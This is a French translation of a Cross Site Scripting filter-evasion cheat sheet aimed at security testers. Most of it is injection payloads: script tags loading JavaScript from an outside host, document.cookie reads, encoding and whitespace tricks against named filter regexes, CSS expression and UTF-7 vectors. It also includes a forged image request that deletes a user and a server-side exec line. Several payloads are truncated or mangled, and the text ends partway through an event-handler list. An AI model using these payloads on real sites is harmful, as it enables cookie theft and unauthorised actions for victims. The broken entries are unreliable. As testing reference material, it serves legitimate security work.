inlinetoc

Cet article se concentre sur la fourniture aux professionnels de la sécurité des applications un guide pour aider à la réalistaion de tests Cross Site Scripting.

Cette feuille d'astuces est conçue pour les gens qui connaissent déjà les bases d'attaques XSS, mais veulent une compréhension plus profonde des nuances en ce qui concerne le contournement des filtres.

S'il vous plaît noter que la plupart de ces vecteurs cross site scripting ont été testés dans les navigateurs listés au bas des scripts.

Injecter cette chaîne, et dans la plupart des cas où un script est vulnérable avce aucune exigence particulière du vecteur XSS le mot “XSS” apparaîtra. Utilisez ce calculateur de codage URL pour encoder la chaîne entière. Astuce: si vous êtes pressé et avez besoin de vérifier rapidement une page, il arrive souvent qu'en injectant simplement le tag déprécié <PLAINTEXT> suffira pour vérifier si quelque chose est vulnérable à XSS en perturbant la sortie sensiblement:

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
 alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
 ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

Si vous n'avez pas beaucoup d'espace et ne savez pas s'il y a du JavaScript vulnérable sur la page, cette chaîne est un bon moyen compacte d'injection XSS. Voir le texte source après l'injection et chercher <XSS au lieu de <XSS pour voir s'il est vulnérable:

//;!--"<XSS>=&{()}//

Une injection XSS JavaScript normale, et plus susceptibles de prendre, mais je vous conseille d'essayer d'abord (les guillemets ne sont pas requis dans n'importe quel navigateur moderne si elles sont omises ici):

  <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

XSS en utilisant la directive JavaScript (IE7.0 ne supporte pas la directive JavaScript dans le contexte d'une image, même s'il le fait dans d'autres contextes, mais ce qui suit montrent les principes qui fonctionnent aussi bien dans d'autres balises ) :

<IMG SRC="javascript:alert('XSS');">

<IMG SRC=javascript:alert('XSS')>

<IMG SRC=JaVaScRiPt:alert('XSS')>

Les points-virgules sont nécessaires pour que cela fonctionne:

<IMG SRC=javascript:alert("XSS")>

Si vous avez besoin d'utiliser les guillemets doubles et simples vous pouvez utiliser un accent grave pour encapsuler la chaîne de JavaScript - c'est également utile car beaucoup de filtres Cross Site Scripting ne gèrent pas les accents graves:

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

Enlevez l'attribut HREF et touchez au coeur des XXS … Soumis par David Cross ~ Vérifié sur Chrome

<a onmouseover="alert(document.cookie)">xxs link</a>

Chrome replace les guillemets manquants pour vous … si jamais vous êtes coincé enlevez les et Chrome va les mettre dans le bon endroit et fixer vos quotes manquantes dans l'URL ou un script.

<a onmouseover=alert(document.cookie)>xxs link</a>

A l'origine trouvé par BeGeek (mais amélioré pour fonctionner dans tous les navigateurs), ce vecteur XSS utilise le moteur de rendu étendu pour créer notre vecteur XSS dans une balise IMG qui doit être encapsulé dans des guillemets. Je suppose que cela a été initialement conçu pour corriger le codage bâclée. Ce qui rend beaucoup plus difficile à parser correctement en dehors d'une balise HTML:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

Si aucune quote vous pouvez utiliser eval() dans un fromCharCode JavaScript pour créer n'importe quel vecteur XSS dont vous avez besoin:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

Cela contournera la plupart des filtres de domaine SRC. L'insertion de javascript dans une méthode d'événement s'appliquera également à toute injection de type balise HTML qui utilise des éléments comme les formulaires, Iframe, Input, Embed etc Il permettra également à substituer tout événement significatif du type variable comme onblur, onclick vous donnant une vaste quantité de variantes pour de nombreuses injections énumérés ici. Soumis par David Cross.

<IMG SRC=# onmouseover="alert('xxs')">

<IMG SRC= onmouseover="alert('xxs')">

<IMG onmouseover="alert('xxs')">

Tous les exemples XSS qui utilisent un javascript: à l'intérieur d'une balise directive <IMG ne fonctionne pas dans Firefox ou Netscape 8.1 + dans le mode de moteur de rendu Gecko). Utilisez le calculateur XSS pour plus d'informations:

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

Cela est souvent efficace dans XSS qui tente d'utiliser “&#XX;”, puisque la plupart des programmeurs ne connaissent rien à propos du padding – remplissage jusqu'à 7 caractères numériques au total. Cela est également utile contre ceux qui filtrent les chaînes comme ceci $tmp_string =~ s/.\&#(\d+);./$1/; ce qui suppose à tort qu'il est nécessaire de mettre un point-virgule à la fin d'une chaîne encodée en HTML :

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

C'est aussi une attaque XSS viable contre le filtre ci-dessus $tmp_string =~ s/.\&#(\d+);./$1/;.. Qui suppose l'existence d'un caractère numérique qui suit le symbole dièse - ce qui n'est pas vrai avec des caractères HTML hexagonaux). Utilisez le calculateur XSS pour plus d'informations:

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

Utilisé pour scinder l'attaque cross site scripting:

<IMG SRC="jav   ascript:alert('XSS');">

Utilisez ceci pour scinder le XSS:

<IMG SRC="jav&#x09;ascript:alert('XSS');">

Certains sites prétendent que n'importe lequel es caractères 09-13 (décimal) fonctionne pour cette attaque. Ceci est inexact. Seuls les caractères 09 (tabulation horizontale), 10 (saut de ligne) et 13 (retour chariot) fonctionnent. Voir le tableau ascii pour plus de détails. Les quatre exemples suivants illustrent ce vecteur XSS:

<IMG SRC="jav&#x0A;ascript:alert('XSS');">

<IMG SRC="jav&#x0D;ascript:alert('XSS');">

Le caractère Null fonctionnes aussi comme vecteurs de XSS, mais pas comme ci-dessus, vous avez besoin de les injecter directement en utilisant quelque chose comme Burp proxy ou utiliser %00 dans l'URL ou si vous souhaitez écrire votre propre outil d'injection, vous pouvez soit utiliser vim (^V^@ produira un nul) ou le programme suivant pour le générer dans un fichier texte.Les anciennes versions d'Opera (7,11 sur Windows) étaient vulnérables à un char 173 additionnel(le caractère de contrôle trait d'union ). Mais le caractère %00 null est beaucoup plus utile et a aidé à contourner certains filtres du monde réel avec une variante dans cet exemple:

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

Ceci est utile si le modèle de filtre ne tient pas compte des espaces dans le mot “javascript:”-ce qui est correct car cela ne sera pas rendu- mais fait l'hypothèse fausse qu'il ne peut pas y avoir un espace entre la quote et le mot-clé “javascript:”. La réalité actuelle est que vous pouvez avoir n'importe quel caractère de 1 à 32 en décimal:

<IMG SRC=" &#14;  javascript:alert('XSS');">

L'analyseur HTML de Firefox assume qu'un caractère non-alpha-numérique n'est pas valide après un mot-clé HTML et à cet effet le considère comme un espace ou comme un token non valide après une balise HTML. Le problème est que certains filtres XSS supposent que les tags qu'ils recherchent sont séparés par des espaces. Par exemple “<SCRIPT\s” != “<SCRIPT/XSS\s”:

<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Sur ce principe que ci-dessus, mais en le développant, utilisons Rnake fuzzer. Le moteur de rendu Gecko autorise n'importe quel caractère autre que des lettres, des chiffres ou des chars d'encapsulation (comme les apostrophes, les crochets, etc ..) entre l'évènement déclencheur et le signe égal avant le , ce qui rend plus facile le contournement dles blocages cross site scripting. Notez que cela s'applique également à l'obscurcissement par accent grave comme on le voit ici:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

Cependant il y a un comportement légèrement différent entre et moteurs de rendu d'IE et de Gecko qui permet juste une barre oblique entre l'étiquette et le paramètre sans espace. Cela peut être utile si le système ne permet pas d'espace.

<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Soumis par Franz Sedlmaier, ce vecteur XSS pourrait vaincre certains moteurs de détection qui fonctionnent en utilisant d'abord des paires signe inférieur + signe supérieur, puis en effectuant une comparaison de l'étiquette à l'intérieur, au lieu d'un algorithme plus efficace, comme Boyer-Moore qui cherche des correspondances de chaînes entières du signe inférieur et de l'étiquette associée . Les commentaires double barre oblique avant le dernier double signe inférieur permet d'éviter une erreur JavaScript:

<<SCRIPT>alert("XSS");//<</SCRIPT>

Dans Firefox et Netscape 8.1 en mode moteur de rendu Gecko vous n'avez pas réellement besoin de la partie ></SCRIPT> de ce vecteur Cross Site Scripting. Firefox suppose qu'il est sûr de fermer la balise HTML et d'ajouter des balises de fermeture pour vous. C'est vraiment gentil! Contrairement au suivant, qui n'affecte pas Firefox, ce script ne nécessite pas de code HTML supplémentaire . Vous pouvez ajouter des guillemets si vous avez besoin, mais ils ne sont pas nécessaires en général, mais méfiez-vous, l'auteur n'a aucune idée en ce que le code HTML finira par ressembler une fois qu'il sera injecté:

<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >

Cette variante a été présentée par Łukasz Pilorz et a été fondée en partie lors du contournement de la résolution de protocole réalisé par OZH plus loin. Cet exemple cross site scripting fonctionne avec IE, Netscape en mode de rendu IE et Opera, si vous ajoutez une balise </ SCRIPT> à la fin. Cependant, ce qui est particulièrement utile lorsque l'espace est un problème, et bien sûr, plus votre domaineest court mieux c'est. Le “.j” est valable, quel que soit le type d'encodage, car le navigateur lle recoonnait dans le contexte d'une balise SCRIPT.

<SCRIPT SRC=//ha.ckers.org/.j>

Contrairement à Firefox le moteur de rendu IE n'ajoute pas des données supplémentaires à votre page, mais il permet les directives javascript sur les images. Cette fonction est utile comme vecteur car elle ne nécessite pas une équerre à proximité. Cela suppose que vous pouvez injecter ce vecteur cross site scripting n'importe quelle balise HTML ci-dessous. Même si il n'y a pas de tag de fin > les balises ci-dessous seront fermées. A noter: cela ne modifie pas le code HTML,. Le code HTML ci-dessous permet de contourner la regex NIDS suivante: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ car il ne nécessite pas la fin >. Cela fonctionne également avec une balise <IFRAME au lieu d'une balise <IMG:

<IMG SRC="javascript:alert('XSS')"

A l'aide d'un signe inférieur à la fin du vecteur au lieu d'un signe supérieur provoque un comportement différent dans Netscape avec rendu Gecko. Sans lui, Firefox fonctionne, mais pas Netscape:

<iframe src=http://ha.ckers.org/scriptlet.html <

Lorsque l'application est écrite pour produire des informations utilisateur à l'intérieur d'un JavaScript comme suit: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> et que vous voulez injecter votre propre code JavaScript , mais que l'application côté serveur échappe certaines quotes vous pouvez contourner cela en échappant leur caractère d'échappement. Lorsque ce qui suit est injecté le moteur va lire <SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> qui finit par ne pas échapper un double guillemet provoquant ainsi le vecteur Cross Site Scripting . La localisation XSS utilise cette méthode.:

\";alert('XSS');//

Il s'agit d'un vecteur XSS simple qui ferme balises <TITLE>, qui peuvent encapsuler une attaque cross site scripting:

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

<BODY BACKGROUND="javascript:alert('XSS')">

<IMG DYNSRC="javascript:alert('XSS')">

<IMG LOWSRC="javascript:alert('XSS')">

Exploite la façon assez ésotérique d'incorporer des images pour des listes à puces. Cela ne fonctionnera que dans le moteur de rendu IE à cause de la directive JavaScript. Vecteur pas particulièrement utile cross site scripting:

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

<IMG SRC='vbscript:msgbox("XSS")'>

<IMG SRC="livescript:[code]">

Méthode ne nécessitent pas l'utilisation des variantes du “javascript:” ou “<script …” pour accomplir l'attaque XSS). Dan Crowley a noté en outre que vous pouvez mettre un espace avant le signe égal (“onload=” != “onload =”):

<BODY ONLOAD=alert('XSS')>

cf Liste_des_evenements_declencheurs_Event_Hendlers_

<BGSOUND SRC="javascript:alert('XSS');">

<BR SIZE="&{alert('XSS')}">

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

(en utilisant quelque chose d'aussi simple qu'une feuille de style distante, vous pouvez inclure vos XSS dans le paramètre de style ) Cela ne fonctionne que dans IE et Netscape 8.1 + en mode moteur de rendu d'IE. Remarquez qu'il n'y a rien sur la page qui indique que du JavaScript a été inclus. Dans ces exemples de feuilles de style distantes on utilise la balise body, donc cela ne fonctionnera que si il y a un contenu sur la page autre que le vecteur lui-même, de sorte que vous aurez besoin d'ajouter une lettre à la page pour le faire fonctionner si c'est une page vide

<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">

Le fonctionnement est le même que ci-dessus, mais utilise une balise <STYLE> au lieu d'une balise <LINK>). Une légère variante de ce vecteur a été utilisée pour pirater Google Desktop. Vous pouvez supprimer la fin du tag </STYLE> s'il existe du code HTML immédiatement après le vecteur pour la refermer. Ceci est utile si vous ne pouvez pas avoir soit un signe égal ou une barre oblique dans votre attaque cross site scripting :

<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

Cela ne fonctionne que dans Opera 8.0 (mais plus en 9.x) mais est assez délicat. Selon RFC2616 fixer un « link header “ ne fait pas partie de la spécification HTTP 1.1, mais certains navigateurs le permettent encore (comme Firefox et Opera). L'astuce ici est de créer un en-tête (qui n'est pas fondamentalement différent de celui d'un en-tête HTTP pointant vers le lien: http://ha.ckers.org/xss.css; REL=stylesheet) et une feuille de style distante avec le vecteur cross site scripting exécutant le JavaScript qui n'est pas pris en charge dans Firefox:

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

Ceci ne fonctionne que dans les moteurs de rendu Gecko et fonctionne en liant un fichier XUL à la page parent. Je pense que l'ironie ici est que Netscape Gecko suppose que cet effet est plus sûr à ce pour la grande majorité des sites et est de ce fait vulnérable:

<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>

Parfois cet XSS envoie IE dans une boucle infinie d'alertes:

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

Créé par Roman Ivanov

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

C'est vraiment un hybride des vecteurs XSS ci-dessus Comme ci-dessus cela peut envoyer IE dans une boucle infinie:

exp/*<A STYLE='no\xss:noxss("*//*");
 xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

IE6.0 et Netscape 8.1 + en mode moteur de rendu IE ne s'intéressent pas vraiment à savoir si la balise HTML que vous construisez existe ou non, tant que ça commence par un signe inférieur et une lettre:

<XSS STYLE="xss:expression(alert('XSS'))">

C'est un peu différent que ces deux vecteurs Cross Site Scripting, car il utilise un fichier. Htc qui doit être sur le même serveur que le vecteur XSS. L'exemple de fichier fonctionne en portant une partie des attributs de style dans le code JavaScript et en l'exécutant:

<XSS STYLE="behavior: url(xss.htc);">

Par Kurt Huwig. Celui-ci utilise codage ASCII malformé de 7 bits au lieu de 8. Ce XSS peut contourner de nombreux filtres de contenu mais ne fonctionne que si l'hôte transmet en codage US-ASCII, ou si vous définissez vous-même l'encodage. Ceci est plus utile contre les pare-feu d'applications Web cross site que les filtres côté serveur. Apache Tomcat est le seul serveur connu qui transmet en codage US-ASCII.

¼script¾alert(¢XSS¢)¼/script¾

La chose étrange à propos du rafraichissement meta, c'est qu'il n'envoie pas de référent dans l'en-tête - de sorte qu'il peut être utilisé pour certains types d'attaques où vous avez besoin de vous débarrasser des URL de soumission:

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

Le schéma de directive URL est intéressant car ce n'est pas non plus quelque chose qui a le mot script ou de la directive JavaScript en lui, car il utilise l'encodage base64. Voir RFC 2397 pour plus de détails. Vous pouvez également utiliser la calculatrice XSS ci-dessous si vous voulez juste encoder HTML ou JavaScript car elle a une méthode de codage Base64:

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

Si le site cible tente de voir si l'URL contient http:// au début, vous pouvez l'éviter avec la technique suivante (Présentée par Moritz Naumann):

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

Si les iframes sont autorisés, il y a beaucoup d'autres failles XSS comme ceci

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

Les IFrames et la plupart des autres éléments peuvent utiliser des événements comme ce qui suit … (Présentée par: David Cross)

<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

Les Frames ont les mêmes genres de problèmes XSS comme iframes

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

<TABLE BACKGROUND="javascript:alert('XSS')">

Comme ci-dessus, les balises TD sont vulnérables aux BACKGROUND contenant des vecteurs JavaScript XSS: /

<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

L'exploit a été légèrement modifié pour masquer le paramètre url. La vulnérabilité d'origine a été trouvée par Renaud Lifchitz comme vulnérabilité dans Hotmail:

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

Rnaske a construit un fuzzer XSS rapide pour détecter des caractères erronés qui sont autorisés après la parenthèse ouverte, mais avant la directive JavaScript dans Internet Explorer et Netscape 8.1 en mode site sécurisé. Il sont en décimal mais vous pouvez inclure de l'hexadécimal et ajouter un padding bien sûr. (N'importe lequel des caractères suivants peuvent être utilisés: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">

Une variante de ceci était efficace contre les filtres cross-site scripting à l'aide d'un saut de ligne entre les deux points et “expression”:

<DIV STYLE="width: expression(alert('XSS'));">

Ne fonctionne que dans IE5.0 et versions ultérieures et Netscape 8.1 en mode moteur de rendu IE). Certains sites estiment tout ce qui est à l'intérieur d'un bloc de commentaire est sûr et n'a donc pas besoin d'être supprimée, ce qui permet notre vecteur de Cross Site Scripting. Et le système peut ajouter des balises de commentaires autour de quelque chose pour essayer de le rendre inoffensif.

<!--[if gte IE 4]>
 <SCRIPT>alert('XSS');</SCRIPT>
 <![endif]-->

Fonctionne dans IE et Netscape 8.1 en mode sans échec. Vous avez besoin du double // pour commenter les caractères suivants afin que vous n'obtenniez pas une erreur JavaScript. En outre, il s'appuie sur le fait que le site Web utilise des images dynamiquement référencées comme “images/image.jpg” plutôt que par des chemins complets. Si le chemin contient une barre oblique au début comme “/images/image.jpg” vous pouvez enlever une barre oblique à partir de ce vecteur (tant qu'il y en a deux pour commencer le commentaire cela fonctionne):

<BASE HREF="javascript:alert('XSS');//">

Si les objets sont permis, vous pouvez également injecter des charges utiles de virus pour infecter les utilisateurs, etc, et même avec le tag APPLET). Le fichier lié est en fait un fichier HTML qui peut contenir vos XSS:

<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>

Si vous ajoutez les attributs allowScriptAccess=“never” et allowNetworking=“interne”, cela peut atténuer ce risque (merci à Jonathan Vanasco pour l'info).:

EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>

Cet exemple ne fonctionne que dans Firefox, mais c'est mieux que le vecteur ci-dessus dans Firefox, car il ne nécessite pas que l'utilisateur ait Flash activé ou installé. Merci à nEUrOO pour celui-ci.

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);

Cette attaque XSS ne fonctionne que dans IE et Netscape 8.1 en mode moteur de rendu IE) - vecteur trouvé par SEC Consult en auditant Yahoo:

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>

C'est la même chose que ci-dessus mais au lieu d'un referers hébergé localement (doit être sur le même serveur)utilisation d'un fichier XML qui contient votre vecteur cross site scripting :

<XML SRC="xsstest.xml" ID=I></XML>

Voilà comment Grey Magick a piraté Hotmail et Yahoo!. Cela ne fonctionne que dans Internet Explorer et Netscape 8.1 en mode moteur de rendu IE et n'oubliez pas que vous devez être entre les balises HTML et BODY pour que cela fonctionne:

<HTML><BODY>

En supposant que vous ne pouvez faire tenir que quelques caractères et qu'il y a un filtre contre l'extension “js” Vous pouvez renommer votre fichier JavaScript en image.:

<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>

Cela nécessite que SSI soit installé sur le serveur pour utiliser ce vecteur XSS. Je n'ai probablement pas besoin de le mentionner, mais si vous pouvez exécuter des commandes sur le serveur, il y a sans doute beaucoup des problèmes plus graves:

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->

Nécessite que soit installé sur le serveur pour utiliser ce vecteur XSS. Encore une fois, si vous pouvez exécuter des scripts à distance comme ça, il y a probablement des problèmes beaucoup plus graves:

<? echo('<SCR)';

Cela fonctionne lorsque la page Web où c'est injecté se trouve derrière une protection par mot de passe et que la protection fonctionne avec d'autres commandes sur le même domaine. Ceci peut être utilisé pour supprimer des utilisateurs, ajouter des utilisateurs (si l'utilisateur qui visite la page est un administrateur), envoyer les créances ailleurs, etc … C'est l'un des vecteurs XSS les moins utilisé mais les plus utiles:

<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

C'est plus senssible, car il n'y a absolument aucun identificateur qui lui donnent aspect suspect autre que le fait qu'il n'est pas hébergé sur votre propre domaine. Le vecteur utilise un 302 ou 304 (les autres fonctionnent également) pour rediriger l'image vers une commande. Ainsi, un <IMG src=""> normal pourrait en fait être un vecteur d'attaque pour exécuter des commandes en tant qu'utilisateur qui visualise l'image. Voici le htaccess (sous Apache) en ligne pour accomplir le vecteur (grâce à Timo pour une partie).:

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

C'est assez obscur, mais il ya quelques exemples où <META est autorisée et vous pouvez l'utiliser pour écraser les cookies. Il existe d'autres exemples de sites où au lieu de chercher le nom d'utilisateur à partir d'une base de données cela est stockée à l'intérieur d'un cookie affiché par l'utilisateur qui visite la page. Avec ces deux scénarios combinés, vous pouvez modifier les cookies de la victime qui lui seront retourné (vous pouvez également l'utiliser pour vous connecter ou modifier l'état des utilisateurs, les amener à se connecter, etc ..):

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

Si la page sur laquelle réside XSS n'offre pas un en-tête charset page, ou si le navigateur est réglé pour accepter l'encodage UTF-7 on peut exploiter le code suivant (vous n'avez pas besoin de l'instruction charset si le navigateur de l'utilisateur est configuré pour le détecter automatiquement et il n'y a pas de types de contenu imposé sur la page dans Internet Explorer et Netscape 8.1 en mode moteur de rendu IE). Cela ne fonctionnera dans n'importe quel navigateur moderne, sans changer le type d'encodage. Watchfire a trouvé cette faille dans le script Google 404 personnalisé.:

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

Cela a été testé dans IE. Pour effectuer XSS sur les sites qui permettent “<SCRIPT>”, mais ne permettent pas de “<SCRIPT SRC …” par l'intermédiaire d'un filtre regex “/<script[^>]+src/i”:

<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Pour effectuer un XSS sur les sites qui permettent de <SCRIPT>, mais ne permettent pas de <script src ... par l'intermédiaire d'un filtre regex /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i :

<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Un autre XSS d'échapper le même filtre, /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i:

<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Un autre XSS permettant d'échapper le même filtre,: /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i (et bien sûr il ya d'autres façons de contourner ce problème si elles permettent les balises <SCRIPT>):

<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Et une dernière attaque XSS pour contourner le filtre , /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i en utilisant des accents graves, ne fonctionne pas dans Firefox)?:

<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Voici un exemple XSS qui paris sur le fait que la regex ne cherche pas les appariement des quotes mais plutôt les quotes qui terminent une chaîne de paramètre incorrecte:

<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Ce XSS est redoutable, car il serait presque impossible de l'arrêter ce sans bloquer tout le contenu actif:

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>

En supposant que http://www.google.com/ est grammaticalement interdites:

<A HREF="http://66.102.7.147/">XSS</A>

<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>

<A HREF="http://1113982867/">XSS</A>

La taille totale de chaque nombre autorisé se strouve quelque part prés des 240 caractères au total comme vous pouvez le voir sur le deuxième chiffre, et comme le nombre hexadécimal doit être compris entre 0 et F le troisième zéro de l'hexagone n'est pas nécessaire):

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>

Encore une fois le padding est autorisé, mais vous devez le conserver au-dessus de 4 caractères au total par classe - comme dans la classe A, classe B, etc ..:

<A HREF="http://0102.0146.0007.00000223/">XSS</A>

Certains navigateurs permettent de de mélanger et assortir l'encodage de base et d'y inclure les tabulations et retours à la ligne. Les tabulations les sauts de ligne ne fonctionnent que si cela est encapsulé avec des guillemets:

<A HREF="h

(// se traduit par http:// ce qui permet d'économiser quelques octets de plus). Ceci est très pratique lorsque l'espace est une également possible (deux caractères en moins peut permettre d'aller plus loin) et peut facilement contourner les regex comme (ht|f)tp(s)?:// . Vous pouvez aussi changer le // en \\. Vous n'avez pas besoin de garder les slashes, cependant cela sera interprété comme un chemin relatif

<A HREF="//www.google.com/">XSS</A>

Firefox utilise la fonction Google “J'ai de la chance”, pour rediriger l'utilisateur vers des mots clés que vous tapez. Donc, si votre page est exploitable C'est le top pour un mot clé aléatoire (comme vous le voyez ici), vous pouvez utiliser cette fonction contre toute utilisation de Firefox. Si celui-ci utilise un Protocole Firefox “mot-clé:”. Vous pouvez concaténer plusieurs mots clés en utilisant quelque chose comme ce qui suit “mot-clé: XSS + RSnake” par exemple. Cela ne fonctionne plus dans Firefox que de 2,0.

<A HREF="//google">XSS</A>

Utilise une astuce qui semble fonctionner dans Firefox uniquement. Contrairement à la prochaine cela ne fonctionne pas dans Opera, car Opera estime que c'est une ancienne attaque de phishing HTTP, ce qui n'est pas le cas. C'est simplement une URL malformée. Ce n'est plus pris en charge dans Firefox depuis 2,0:

<A HREF="http://ha.ckers.org@google">XSS</A>

Celui-ci utilise une URL malformée qui semble fonctionner dans Firefox et Opera uniquement.. Comme tout ce qui précède il faut que vous soyez dans Google pour le mot clé en question (dans ce cas “google”):

<A HREF="http://google:ha.ckers.org">XSS</A>

Lorsqu'il est combiné avec l'URL ci-dessus, en supprimant “www.” permettra d'économiser 4 octets supplémentaires pour une économie octets au total pour les serveurs qui l'ont mis en place):

<A HREF="http://google.com/">XSS</A>

<A HREF="http://www.google.com./">XSS</A>

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

En supposant que “http://www.google.com/” soit remplacé par programmation par rien.On utilise la conversion du filtre lui-même (voici un exemple) pour aider à créer le vecteur d'attaque (ex: “java script:” a été transformé en “java script : ”, ce qui fonctionne dans IE, Netscape 8.1 + en mode site sécurisé et Opera):

<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>

Ils peuvent être utilisés dans les attaques XSS basées sur les évènements .

1. FSCommand () (l'attaquant peut utiliser cet événement lorsqu'ils sont exécutées à partir d'un objet Flash intégré)
2. OnAbort () (lorsque l'utilisateur interrompt le chargement d'une image)
3. OnActivate () (lorsque l'objet est défini comme élément actif)
4. onAfterPrint () (après que l'utilisateur ait imprimé ou la prévisualisation d'une impression)
5. onafterupdate () (après la mise à jour des données dans l'objet source)
6. onBeforeActivate () (avant que l'objet soit défini comme l'élément actif)
7. onBeforeCopy () (avant que la  sélection soit copiée dans le presse-papiers - les attaquants peuvent utiliser la fonction execCommand("copy”))
8. onBeforeCut () (avant que la sélection ne soit coupée)
9. onBeforeDeactivate () (déclenche juste après l'activeElement change d'objet courant)
10. onBeforeEditFocus () (avant qu'un objet contenu dans un élément modifiable entre dans un état « interface utilisateur activé » ou quand un objet conteneur modifiable est sélectionné)
